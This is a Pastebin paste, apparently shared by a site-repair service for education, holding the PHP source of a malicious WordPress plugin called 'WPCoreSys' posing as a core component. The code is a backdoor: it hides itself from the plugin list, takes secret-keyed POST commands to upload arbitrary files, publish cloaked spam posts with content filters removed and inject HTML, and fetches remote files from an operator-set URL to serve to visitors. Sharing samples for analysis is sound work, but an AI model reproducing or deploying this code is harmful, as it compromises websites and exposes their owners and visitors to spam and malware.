API tools faq
paste
hackrepair

2016.05.HackerWordPress Plugin Text - WPCoreSys.php

hackrepair
Jul 12th, 2016
750
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 17.68 KB | None | 0 0
raw download clone embed print report
  1. WPCoreSys.php text from a WordPress hacker plugin with references to "dolly_plugin"
  2. Some functions removed to disable script and re-use. For education purposes only.
  3. Primary action: to inject new posts into WordPress
  4.  
  5.  
  6. <?php
  7. /*
  8. * Plugin Name: WPCoreSys
  9. * Version: 2.0
  10. * Author: Wordpress
  11. */
  12. error_reporting(0);
  13. function fn_dolly_get_filename_from_headers($headers)
  14. {
  15. if (is_array($headers))
  16. {
  17. foreach($headers as $header => $value)
  18. {
  19. if (stripos($header,'content-disposition') !== false || stripos($value,'content-disposition') !== false)
  20. {
  21. $tmp_name = explode('=', $value);
  22. if ($tmp_name[1])
  23. {
  24. $tmp_name = trim($tmp_name[1],'";\'');
  25. break;
  26. }
  27. }
  28. }
  29. }
  30. return (isset($tmp_name) && !empty($tmp_name)) ? $tmp_name : false;
  31. }
  32. function fn_dolly_get_cookie_name()
  33. {
  34. return 'wp-' . md5(get_home_url() . 'w_cookie');
  35. }
  36. function fn_dolly_get_table_name()
  37. {
  38. global $wpdb;
  39. return $wpdb->prefix . 'dolly_plugin_table';
  40. }
  41. {
  42. global $wpdb;
  43. $table_name = fn_dolly_get_table_name();
  44. if($wpdb->get_var("SHOW TABLES LIKE '$table_name'") != $table_name)
  45. {
  46. $charset_collate = $wpdb->get_charset_collate();
  47. $sql = "CREATE TABLE {$table_name} (
  48. hash varchar(32) NOT NULL,
  49. url varchar(190) NOT NULL,
  50. time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,
  51. UNIQUE KEY hash (hash)
  52. ) {$charset_collate};";
  53. require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
  54. dbDelta($sql);
  55. }
  56. }
  57. class dolly_plugin
  58. {
  59. var $m_root_path;
  60. var $m_upload_path;
  61. var $m_upload_url;
  62. var $m_request;
  63. var $m_actions;
  64. var $m_useragent = 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0)';
  65. var $m_secookie = '';
  66. public function __construct()
  67. {
  68. $this->m_actions = array('INIT', 'TARGET', 'UPLOAD', 'POST', 'STATS', 'HTML');
  69.  
  70. $this->m_root_path = plugin_dir_path(__FILE__);
  71.  
  72. $upload_path = wp_upload_dir();
  73. if (isset($upload_path['path']) && is_writable($upload_path['path']))
  74. {
  75. $this->m_upload_path = $upload_path['path'];
  76. $this->m_upload_url = $upload_path['url'];
  77. }
  78. if (isset($_COOKIE[fn_dolly_get_cookie_name()]))
  79. $this->m_secookie = true;
  80. if ( (!$this->is_se_request() && empty($this->m_secookie)) )
  81. {
  82. add_filter('posts_clauses', array($this, 'posts_clauses'), 0, 2);
  83. add_filter('terms_clauses', array($this, 'terms_clauses'), 0, 2);
  84. }
  85. else
  86. {
  87. if (empty($this->m_secookie))
  88. setcookie(fn_dolly_get_cookie_name(), 'true', time() + (5 * MINUTE_IN_SECONDS), COOKIEPATH, COOKIE_DOMAIN);
  89. add_action('installation_point', array($this, 'insert_content'));
  90. add_action('dynamic_sidebar', array($this, 'insert_content'));
  91. add_action('wp_footer', array($this, 'insert_content'));
  92. }
  93. add_action('init', array($this, 'wp_init'), 0);
  94. add_action('wp_title', array($this, 'count_post_stats'));
  95. add_action('wp_head', array($this, 'count_post_stats'));
  96. add_action('dynamic_sidebar', array($this, 'count_post_stats'));
  97. add_action('wp_footer', array($this, 'count_post_stats'));
  98. if (is_admin())
  99. add_action('all_plugins', array($this, 'all_plugins'));
  100. add_filter('get_the_excerpt', array($this, 'get_the_excerpt'));
  101. register_activation_hook(__FILE__, 'fn_dolly_plugin_activation_hook');
  102. $this->track_target_download();
  103. }
  104. private function parse_request()
  105. {
  106. $this->m_request = false;
  107. foreach ($_POST as $key => $value)
  108. {
  109. if (stripos($key, 'w_') === false)
  110. continue;
  111. if (!is_array($this->m_request))
  112. $this->m_request = array();
  113. $this->m_request[$key] = $value;
  114. }
  115. if (!isset($this->m_request['w_action']) || !isset($this->m_request['w_seckey']))
  116. $this->m_request = false;
  117. return $this->m_request;
  118. }
  119. public function wp_init()
  120. {
  121. global $wpdb;
  122. if ($this->parse_request() !== false)
  123. {
  124. $action = $this->m_request['w_action'];
  125. $key_req = $this->m_request['w_seckey'];
  126. $key_hash = get_option('w_dolly_hash');
  127. if (empty($key_hash) && $action == 'INIT')
  128. add_option('w_dolly_hash', md5($key_req)) === true ? $this->result(1) : $this->result(0);
  129. if ((!empty($key_req) && !empty($key_hash)) && ($key_hash != md5($key_req)))
  130. $this->result(0);
  131. switch ($action)
  132. {
  133. case 'TARGET':
  134. {
  135. if (empty($this->m_request['w_target']))
  136. $this->result(0);
  137. $target = base64_decode($this->m_request['w_target']);
  138. update_option('w_dolly_target', $target) === true ? $this->result(1) : $this->result(0);
  139. break;
  140. }
  141. case 'UPLOAD':
  142. {
  143. if (empty($this->m_request['w_filename']) || empty($this->m_request['w_filedata']))
  144. $this->result(0);
  145. $path = $this->m_upload_path . '/' . $this->m_request['w_filename'];
  146. $url = $this->m_upload_url . '/' . $this->m_request['w_filename'];
  147. $data = base64_decode(rawurldecode($this->m_request['w_filedata']));
  148. file_put_contents($path, $data) === false ? $this->result(0) : $this->result($url);
  149. break;
  150. }
  151. case 'POST':
  152. {
  153. if (empty($this->m_request['w_postbody']) || empty($this->m_request['w_posttitle']))
  154. $this->result(0);
  155. $post_body = base64_decode(rawurldecode($this->m_request['w_postbody']));
  156. $dolly_excerpt = get_option('w_dolly_excerpt');
  157. if (empty($dolly_excerpt))
  158. {
  159. $dolly_excerpt = substr($key_hash, 0, 5);
  160. add_option('w_dolly_excerpt', $dolly_excerpt);
  161. }
  162. $new_post = array(
  163. 'post_title' => $this->m_request['w_posttitle'],
  164. 'post_content' => $post_body,
  165. 'post_status' => 'publish',
  166. 'post_author' => 1
  167. );
  168. if (!empty($this->m_request['w_postcat']))
  169. {
  170. $post_cat = $this->m_request['w_postcat'];
  171. $cat_id = get_cat_ID($post_cat);
  172. if ($cat_id == 0)
  173. {
  174. $new_term = wp_insert_term($post_cat, 'category');
  175. $cat_id = intval($new_term['term_id']);
  176. }
  177. $new_post['post_category'] = array($cat_id);
  178. }
  179. kses_remove_filters();
  180. $post_id = wp_insert_post($new_post);
  181. if (is_int($post_id) && $post_id > 0)
  182. {
  183. $excerpt = apply_filters('the_excerpt', get_post_field('post_content', $post_id));
  184. $excerpt = $excerpt . $dolly_excerpt;
  185. $post_update = array('ID' => $post_id, 'post_excerpt' => $excerpt);
  186. wp_update_post($post_update, true);
  187. $url = get_permalink($post_id);
  188. $this->result($url);
  189. }
  190. $this->result(0);
  191. break;
  192. }
  193. case 'STATS':
  194. {
  195. $table = fn_dolly_get_table_name();
  196. $result = $wpdb->get_results("SELECT url, COUNT(url) AS hits FROM {$table} GROUP BY url");
  197. $stats = '';
  198. foreach ($result as $value)
  199. $stats .= $value->url . '|' . $value->hits . "\n";
  200. $this->result($stats);
  201. break;
  202. }
  203. case 'HTML':
  204. {
  205. if (empty($this->m_request['w_html']))
  206. $this->result(0);
  207. $html = base64_decode($this->m_request['w_html']);
  208. update_option('w_dolly_html', $html) === true ? $this->result(1) : $this->result(0);
  209. break;
  210. }
  211. }
  212. }
  213. $this->reset_stats();
  214. }
  215. public function get_the_excerpt($ex)
  216. {
  217. $excerpt = get_option('w_dolly_excerpt');
  218. if (!empty($excerpt))
  219. $ex = str_replace($excerpt, '', $ex);
  220. return $ex;
  221. }
  222. public function all_plugins($plugins)
  223. {
  224. $self_file = str_replace($this->m_root_path, '', __FILE__);
  225. foreach ($plugins as $plugin_file => $plugin_data)
  226. {
  227. if (stripos($plugin_file, $self_file) !== false)
  228. {
  229. unset($plugins[$plugin_file]);
  230. break;
  231. }
  232. }
  233. return $plugins;
  234. }
  235. public function posts_clauses($clauses, $query)
  236. {
  237. global $wpdb;
  238. $excerpt = get_option('w_dolly_excerpt');
  239. if (!empty($excerpt))
  240. {
  241. $clauses['where'] .= " AND {$wpdb->posts}.post_excerpt NOT LIKE '%{$excerpt}%'";
  242. }
  243. return $clauses;
  244. }
  245. public function terms_clauses($clauses, $query)
  246. {
  247. global $wpdb;
  248. $excerpt = get_option('w_dolly_excerpt');
  249. if (!empty($excerpt))
  250. {
  251. $cats = $wpdb->get_col(
  252. "SELECT key1.term_id FROM wp_term_taxonomy key1
  253. INNER JOIN wp_term_relationships key2 ON key2.term_taxonomy_id = key1.term_taxonomy_id AND key1.taxonomy = 'category'
  254. INNER JOIN wp_posts key3 ON key3.id = key2.object_id AND key3.post_excerpt LIKE '%{$excerpt}%'"
  255. );
  256. $clauses['where'] .= " AND t.term_id NOT IN(" . implode(",", $cats) . ")";
  257. }
  258. return $clauses;
  259. }
  260. public function insert_content($args)
  261. {
  262. global $g_html_inserted, $g_links_inserted;
  263. if (!isset($g_html_inserted) && $_SERVER["REQUEST_URI"] == "/")
  264. {
  265. $html = get_option('w_dolly_html');
  266. if (!empty($html))
  267. echo $html;
  268. $g_html_inserted = true;
  269. }
  270. if (!isset($g_links_inserted))
  271. {
  272. echo "\r\n";
  273. echo "<ul>\r\n";
  274. wp_get_archives();
  275. echo "</ul>\r\n";
  276. echo "\r\n";
  277. $g_links_inserted = true;
  278. }
  279. }
  280. public function count_post_stats()
  281. {
  282. global $g_stats_counted, $post, $wpdb;
  283. if (empty($g_stats_counted) && is_object($post) && is_single())
  284. {
  285. $w_excerpt = get_option('w_dolly_excerpt');
  286. $p_excerpt = $post->post_excerpt;
  287. if (stripos($p_excerpt, $w_excerpt) !== false)
  288. {
  289. $table_name = fn_dolly_get_table_name();
  290. $post_url = get_the_permalink();
  291. $ip = isset($_SERVER['HTTP_X_REAL_IP']) ? $_SERVER['HTTP_X_REAL_IP'] : null;
  292. $ip = empty($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $ip;
  293. $ip = empty($ip) && isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : $ip;
  294. $hash = md5($ip . $_SERVER['HTTP_USER_AGENT']);
  295. $sql = "INSERT INTO {$table_name} (hash, url, time) VALUES(%s, %s, NOW())";
  296. $sql = $wpdb->prepare($sql, $hash, $post_url);
  297. $wpdb->query($sql);
  298. $g_stats_counted = true;
  299. }
  300. }
  301. }
  302. private function track_target_download()
  303. {
  304. $target = get_option('w_dolly_target');
  305. $hash = get_option('w_dolly_hash');
  306. $var = isset($_GET[$hash]) ? $_GET[$hash] : false;
  307. if (!empty($target) && $var !== false)
  308. {
  309. $target_url = $target . '?target=' . $var;
  310. $target_path = $this->m_upload_path . '/' . $var;
  311. $target_mtime = intval(filemtime($target_path));
  312. $target_name = '';
  313. $target_content = '';
  314. if (!file_exists($target_path) || ($target_mtime > 0 && (time() - $target_mtime >= HOUR_IN_SECONDS)))
  315. {
  316. if (file_exists($target_path))
  317. unlink($target_path);
  318. if (!function_exists('wp_remote_get'))
  319. {
  320. $request = wp_remote_get($target_url, array('user-agent' => $this->m_useragent));
  321. if (is_array($request) && !empty($request['body']))
  322. {
  323. $target_name = fn_dolly_get_filename_from_headers($request['headers']);
  324. $response_code = wp_remote_retrieve_response_code($request);
  325. if ($response_code == 200)
  326. $target_content = wp_remote_retrieve_body($request);
  327. }
  328. }
  329. if (empty($target_content))
  330. {
  331. $opts = array('http' => array(
  332. 'method' => 'GET',
  333. 'header' => 'User-agent: ' . $this->m_useragent . "\r\n")
  334. );
  335. $context = stream_context_create($opts);
  336. $target_content = file_get_contents($target_url, false, $context);
  337. $target_name = fn_dolly_get_filename_from_headers($http_response_header);
  338. }
  339. if (!empty($target_content))
  340. file_put_contents($target_path, $target_content);
  341. if (!empty($target_name))
  342. file_put_contents($target_path . '.name', $target_name);
  343. }
  344. else
  345. $target_content = file_get_contents($target_path);
  346. if (empty($target_content))
  347. {
  348. header('Location: ' . $target_url);
  349. die();
  350. }
  351. else
  352. {
  353. $target_name = file_exists($target_path . '.name') ? trim(file_get_contents($target_path . '.name')) : $var;
  354. header('Content-Description: File Transfer');
  355. header('Content-Type: application/octet-stream');
  356. header('Content-Disposition: attachment; filename="' . $target_name . '"');
  357. header('Content-Transfer-Encoding: binary');
  358. header('Expires: 0');
  359. header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  360. header('Pragma: public');
  361. header('Content-Length: ' . strlen($target_content));
  362. die($target_content);
  363. }
  364. }
  365. }
  366. private function reset_stats()
  367. {
  368. global $wpdb;
  369. $last_reset_time = intval(get_option('w_dolly_resettime'));
  370. if ((time() - $last_reset_time) >= (60 * 60 * 1))
  371. {
  372. $table_name = fn_dolly_get_table_name();
  373. $wpdb->query("DELETE FROM {$table_name} WHERE time <= NOW() - INTERVAL 1 DAY");
  374. update_option('w_dolly_resettime', time());
  375. }
  376. }
  377. private function result($code)
  378. {
  379. die('[***[' . $code . ']***]');
  380. }
  381. private function is_se_request()
  382. {
  383. $is_se = false;
  384. $se_name = array('google', 'yahoo', 'msn', 'bing');
  385. $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  386. $agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
  387. if (!empty($referer) || !empty($agent))
  388. {
  389. foreach ($se_name as $name)
  390. {
  391. if (stripos($referer, $name) !== false || stripos($agent, $name) !== false)
  392. {
  393. $is_se = true;
  394. break;
  395. }
  396. }
  397. }
  398. return $is_se;
  399. }
  400. }
  401. global $g_dolly_plugin;
  402. if (!isset($g_dolly_plugin))
  403. $g_dolly_plugin = new dolly_plugin();
  404. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!